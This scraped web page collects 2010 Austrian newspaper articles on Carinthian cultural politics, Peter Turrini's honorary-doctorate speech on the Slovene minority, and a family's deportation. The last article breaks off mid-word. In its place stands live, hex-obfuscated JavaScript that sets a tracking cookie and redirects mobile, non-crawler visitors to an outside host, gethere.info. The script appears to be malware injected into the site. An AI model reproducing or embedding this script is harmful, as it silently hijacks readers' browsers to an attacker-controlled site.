Villa For Forest

TURRINI & KÄRNTEN am 24. September 2010

Kleine Zeitung, 26.9.2010
Leser oder Nichtleser?

KOMMENTAR von Erwin Hirtenfelder

Es ist wohl einmalig in der zivilisierten
Welt, dass der höchste Kulturpolitiker eines Landes eine Imagekampagne
starten muss, um seinem Wahlvolk klar zu machen, dass er „kein
Nichtleser“ sei und daher auch nicht als „Ignorant“ oder „Dilettant“
gelten könne. So geschehen in einer Inseratenserie, mit welcher Harald
Dobernig dieser Tage ausgewählte Kärntner Medien beglückte. In einem
redaktionell getarnten Interview, das freilich teuer bezahlt werden
musste, distanziert sich der Landeskulturreferent von einem anderen
Interview, das er vor acht Wochen dem „Kärntner Monat“ gab und worin er
mit verstörender Offenheit einbekannte, dass er mit literarischen Werken
nicht viel am Hut habe.

Kostprobe:

Haben Sie eigentlich schon ein Buch von Josef Winkler gelesen?

Nein.

Ingeborg Bachmann?

Nein.

Nach zahlreichen bissigen Kommentaren und
Leserbriefen in österreichischen Zeitungen wagte Dobernig nun per
Inserat den Fallrückzieher. So habe das besagte Monatsmagazin „den Titel
des Interviews (,Ich lese keine Bücher‘) bewusst falsch gewählt, um
Aufmerksamkeit zu erregen“, glaubt der FPK-Politiker den wahren
Schuldigen für sein Image als Kulturbanause zu kennen und beteuert:
„Selbstverständlich lese ich Bücher. Es sind auch viele Fachbücher
dabei, gerade das ist essenziell für meine Referate in der
Landesregierung.“

Eigentlich hatten wir von einem ambitionierten
Jungpolitiker, der einige Jahre das Gymnasium von Tanzenberg besuchte,
ohnehin nichts anderes angenommen. Und so wollen wir den jüngsten
Bekenntnissen unseres Landeskulturreferenten nur allzu gerne Glauben
schenken.

Um seine Kritiker zu beschämen, sollte Dobernig
allerdings vor seinem nächsten „Monat“-Interview noch einige kulturelle
„Fachbücher“ lesen. „Das dreißigste Jahr“ von Ingeborg Bachmann wäre ein
passender Einstieg. Auch Liebesgedichte seines Maria Saaler Mitbürgers
Peter Turrini würden sich anbieten. Fürs Erste tut es auch dessen Rede
zur Klagenfurter Ehrendoktorverleihung, die wir umseitig abgedruckt
haben.

Im Übrigen hat es noch niemandem geschadet, sich
mit Künstlern und Andersdenkenden zu beschäftigen. Schon gar nicht einem
erst 30 Jahre jungen Kulturpolitiker, der garantiert noch einige
Interviews geben möchte. Blauäugige oder bezahlte.

Sie erreichen den Autor unter erwin.hirtenfelder@kleinezeitung.at

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Kleine Zeitung, 26.9.2010
„Hört auf mit dieser Hinterwäldlerei“
Am Freitag wurde Peter Turrini, der heute seinen 66. Geburtstag feiert,
zum Ehrendoktor der Uni Klagenfurt ernannt. Der Autor bedankte sich mit
einer „naiven Bitte“.

Sehr geehrte Menschen, liebe Freunde!

Die etwas eitle Überlegung, ob ich eine
solche Auszeichnung überhaupt verdient habe, stelle ich nicht an. Die
Verantwortlichen, lauter akademisch geschulte Menschen, haben sich was
gedacht und einige dieser Gedanken habe ich ja gerade gehört. Ich
bedanke mich dafür.

Von einem Schriftsteller meiner Prägung erwartet
man sich bei solchen Gelegenheiten kritische Anmerkungen zur Situation
im Lande. Eine solche Rede werde ich nicht halten, das hat der
Schriftsteller Josef Winkler vor einem Jahr getan, auf eine großartige
Weise. Ich hätte dem nichts hinzuzufügen, außer ein paar aktuellen
Scheußlichkeiten.

Ich halte keine Rede, ich äußere heute eine etwas
naiv anmutende Bitte. Seit Jahrhunderten leben in diesem Lande
slowenisch sprechende und deutschsprechende Menschen. Noch immer gibt es
viele, zu viele Kärntner, welche das Slowenische für minderwertig und
die slowenische Sprache für entbehrlich halten. Ich bitte also
diejenigen, die so denken und fühlen, ihr Denken aufzugeben. Hört auf
damit, es ist genug! Nach Jahrhunderten des Zusammenlebens,
fünfundsechzig Jahre nach dem Zweiten Weltkrieg, mitten in der
Europäischen Union muss es andere Debatten geben als jene über die
Schriftgröße einer slowenischen Ortsbezeichnung auf einer Tafel. Ich
bitte euch, und diese Bitte ist vor allem an Menschen außerhalb dieses
Saales gerichtet, hört auf mit dieser Hinterwäldlerei, lasst euch – die
ihr auch für Fröhlichkeit und Großzügigkeit begabt seid – nicht zu
Deppen Europas machen.

In der Geschichte des Zusammenlebens, vor allem
im Zweiten Weltkrieg, haben die slowenisch Sprechenden viel Leid und
Grausamkeit erfahren. Aber auch das Leid der anderen sei nicht
verschwiegen. Ich will an diesem Tage des Bittens nicht polarisieren,
aber die deutsch Sprechenden hatten mehr Möglichkeiten ihr Leid zu
pflegen, mit Kriegerdenkmälern und Gedenkfeiern, als die
Slowenischsprechenden. Sie mussten ihre Opfer und Gedenktafeln in den
hinteren Winkeln der Friedhöfe verstecken. An diesem Tage sei darüber
hinweggesehen, weil auch dieses Denken an sein Ende kommen muss. Es ist
genug mit dem Bezichtigen, dem Aufrechnen, das gegenseitige Zuhören ist
besser.

Weder die einen noch die anderen sind die
besseren Menschen. Die menschliche Seele ist eine unübersichtliche
Gegend. Dort gibt es nicht nur einen Weg für die Guten und einen für die
Schlechten, dort gibt es viele Abzweigungen und Verzweigungen.

Die Menschen sind einander ähnlicher, als sie es
oft wahrhaben wollen. Am wenigsten wollen sie in diesem Lande wahrhaben,
dass sie vermischte Wesen sind. Fast in jedem Kärntner sitzt ein
Slowene und das ist ein großes Glück: zwei Ethnien in einem Land, zwei
Kulturen, die uns bereichern, zwei Sprachen, in denen wir träumen,
erinnern und lieben können, das kann doch nur ein Anlass zur Freude
sein. Ich bitte euch, und diese Bitte geht vor allem an Menschen
außerhalb dieses Saales, nehmt diese Freude, zumindest versuchsweise,
an.

Wer einmal Kinder beim Entziffern einer
zweisprachigen Ortstafel erlebt hat, mit welcher Entdeckerfreude sie die
unterschiedlichen Namen und Schriftzeichen vergleichen, der weiß, wovon
ich rede. Wenn ein Mensch verliebt ist, wenn ihm das Herz übergeht und
folglich auch der Mund, dann kann er in diesem Lande sein
Liebesgeständnis in zwei Sprachen vorbringen, mit dem schönen „Ich liebe
Dich“ und dem ebenso schönen „Ljubim te!“

Kärnten ist ein besonderes Land, gesegnet mit
schönen Bergen, schönen Seen und zwei schönen Sprachen. Ich bitte
diejenigen, die es betrifft, hört auf, mit dem verengten Blick der
Sturheit auf die slowenische Sprache herabzuschauen. Macht die Augen
auf, nehmt das Andere wahr, auch wenn es in euch liegt. Ihr verliert
nicht, ihr gewinnt.

Verzeihen Sie die Naivität dieser Rede, sie ist
gleich vorüber. Ich freue mich wirklich über diese Auszeichnung, obwohl
ich nicht viel für Titel und Orden und Ähnliches übrig habe. Das sind
bekanntlich Alterserscheinungen. Mich hat die öffentliche Hand in den
ersten Jahren meines Dichterdaseins heftig gewürgt. Sie ist dabei nicht
an ihr Ziel, meine Verstummung, gelangt. Wenn man alles überlebt hat,
beginnt das Schulterklopfen.

Ich habe diese Ehrung angenommen, weil sie von
einer Universität, von Menschen kommt, die zu den politischen
Widerwärtigkeiten in diesem Land nicht schweigen, die sich nicht in die
akademische Neutralität zurückziehen.

Bei allem Respekt für diese Universität möchte
ich aber auch hier eine Bitte vorbringen. Ich bitte Sie, und diesmal
meine ich die Verantwortlichen in diesem Saal, nehmen Sie Ihre eigenen
Richtlinien etwas ernster. In Ihren Statuten steht, dass es Ihnen um
eine besondere Förderung von Frauen geht. Von den 26 Ehrendoktores sind
nur zwei Frauen. Ich bin ja gerne einer, aber das nächste Mal sollte es
eine werden.

Danke fürs Zuhören.

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Kleine Zeitung, MARIANNE FISCHER, 25.9.2010

Wider die „Deppen Europas“



Akademische Ehren: Ehrendoktor Peter Turrini mit dem Rektor der Alpen-Adria-Universität Heinrich C. Mayr © EGGENBERGER


Dem Dramatiker Peter Turrini wurde gestern das Ehren-doktorat der Alpen-Adria-Universität Klagenfurt verliehen.

Mein Bedürfnis nach Kärntner Boden deckt sich mit
den Maßen der Stadttheaterbühne. Mehr Heimat brauche ich nicht“, sagte
Peter Turrini einst. Nun hat er sich ein weiteres Stück Heimat
gesichert: Seit gestern ist der Dramatiker von Weltrang Ehrendoktor der
Alpen-Adria-Universität Klagenfurt. Eine Ehrung, die Peter Turrini –
ansonsten kein Freund von Auszeichnungen – annahm, weil sie „von einer
Universität, von Menschen kommt, die zu den politischen
Widerwärtigkeiten in diesem Land nicht schweigen, die sich nicht in die
akademische Neutralität zurückziehen“, so der Neo-Ehrendoktor in seiner
Rede.

„Nicht schweigen“, das war auch immer ein Motto
des „Heimatdichters“ (diese Berufsbezeichnung ließ Turrini in den 70ern
in den Reisepass eintragen): „Er hat dem Staat, seinen Einrichtungen und
Akteuren, seinen Honoratioren, Bürgern und Bewohnern stets den Spiegel
vorgehalten“, meinte auch Oliver Vitouch, Senatsvorsitzender der
Universität, in seiner Laudatio.

„Naive Bitte“

Und so kann es nicht verwundern, dass Turrini –
er feiert übrigens morgen seinen 66. Geburtstag – in seiner fulminanten
Rede eine „etwas naiv anmutende Bitte“ äußerte: „Noch immer gibt es
viele, zu viele Kärntner, welche das Slowenische für minderwertig und
die slowenische Sprache für entbehrlich halten. Ich bitte also
diejenigen, die so denken und fühlen, ihr Denken aufzugeben. Hört auf
damit, es ist genug!“ Mitten in der Europäischen Union müsse es andere
Debatten geben als jene über die Schriftgröße einer slowenischen
Ortsbezeichnung auf einer Tafel: „Hört auf mit dieser Hinterwäldlerei,
lasst euch – die ihr auch für Fröhlichkeit und Großzügigkeit begabt seid
– nicht zu Deppen Europas machen.“ (Die gesamte Rede lesen Sie morgen
in der Kleinen Zeitung).

Turrini hat ja bekanntlich selbst in seiner
Kindheit und Jugend als Sohn eines Italieners und einer Steirerin –
sozusagen „Fremdling und Mischling von Geburt an“ (Vitouch) – unter
Ausgrenzung gelitten, unter dem „nirgendwo dazugehören“. Aber, so Fabjan
Hafner in seiner Laudatio: „Auch wenn das Dazugehören anderswo
inzwischen Wirklichkeit geworden sein mag, Kärnten, das Zollfeld und
Maria Saal bleiben der Ursprung im Koordinatenkreuz von Turrinis
weitläufigem Kosmos.“

Und für sein Stück Kärntner Heimat, das
Stadttheater Klagenfurt, hat Peter Turrini auch wieder ein Stück
geschrieben: „Silvester“ feiert am 8. Jänner seine Uraufführung.

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Kleine Zeitung, WOLFGANG FERCHER, 25.10.2010

Mazedonier über Nacht abgeschoben

Fassungslosigkeit bei Schulkollegen von Avni: 19-Jähriger und seine Eltern wurden nach Jahren in Kärnten plötzlich ausgewiesen.

Eine Schülerin und 23 Schüler sitzen in der
vierten Klasse der Fachschule für Fertigungstechnik in Ferlach. Seit
Mitte der Woche bleibt ein Platz leer. Der 19-jährige Avni S. wurde
gemeinsam mit seinen Eltern nach Mazedonien abgeschoben. „Seine
Klassenkollegen sind betroffen, damit hat keiner gerechnet“, erzählt
Klassenvorstand Jochen Weiß. Über acht Jahre lebte die Familie (sie sind
Angehörige der albanischen Minderheit in Mazedonien) in Österreich, den
Großteil davon in Kärnten.

„Avni spricht perfekt deutsch, war voll
integriert und hat sich schulisch sehr gut entwickelt.“ Im Frühjahr wäre
er mit seinen Kollegen zur Abschlussprüfung angetreten. „Mit der
Abschiebung verbaut man ihm die Zukunft“, sagt Weiß. „Schaut so
Österreichs Antwort auf den Facharbeitermangel aus?“

Anfang 2002 kamen Seid S. und seine Frau Gjilsime
nach Österreich. Die am Tag nach der Einreise gestellten Asylanträge
wurden in zweiter Instanz sechs Jahre später abgewiesen. In der
Zwischenzeit hatte sich die Familie gut integriert und in Seeboden
(später in Klagenfurt) niedergelassen. Avni begann die
Fachschulausbildung, der Vater war berufstätig, die Mutter absolvierte
Deutschkurse an der Uni.

Nach dem negativen Asylbescheid stellte die
Familie im März „einen Antrag auf Niederlassungsbewilligung gemäß § 44
des Niederlassungs- und Aufenthaltsgesetzes (siehe Infokasten).
Familienanwalt Paul Wachschütz: „Die Behörden waren aber monatelang
nicht in der Lage das zu prüfen, Anträge werden offenbar bewusst
verschleppt.“ Inzwischen wurde der Ausweisungsbescheid rechtskräftig und
Mittwoch auf Anordnung der BH-Spittal vollstreckt.

Bedenklich ist die Vorgangsweise. „Die Familie
hatte nicht einmal Zeit die wichtigsten Sachen zu packen oder Bekannte
zu informieren“, kritisiert Wachschütz. „Vor dem Flug nach Mazedonien
habe ich kurz mit Avni telefoniert. Er ist verzweifelt und hofft so bald
wie möglich zurückzukommen.“ Die Chancen stehen laut Asylanwalt Farhad
Paya schlecht. „Wir versuchen aber alles und gehen bis zum
Menschenrechts-Gerichtshof. Die Abschiebung ist rechtswidrig.“

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ORF Kärnten, 25.9.2010

Ehrendoktorat an Peter Turrini verliehen

Dem Kärntner Dramatiker Peter Turrini ist
am Freitag das Ehrendoktorat der Alpen-Adria-Universität Klagenfurt
verliehen worden.

In seiner Rede richtete Turrini einen flammenden Apell
zur Lösung der Ortsafelfrage avar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}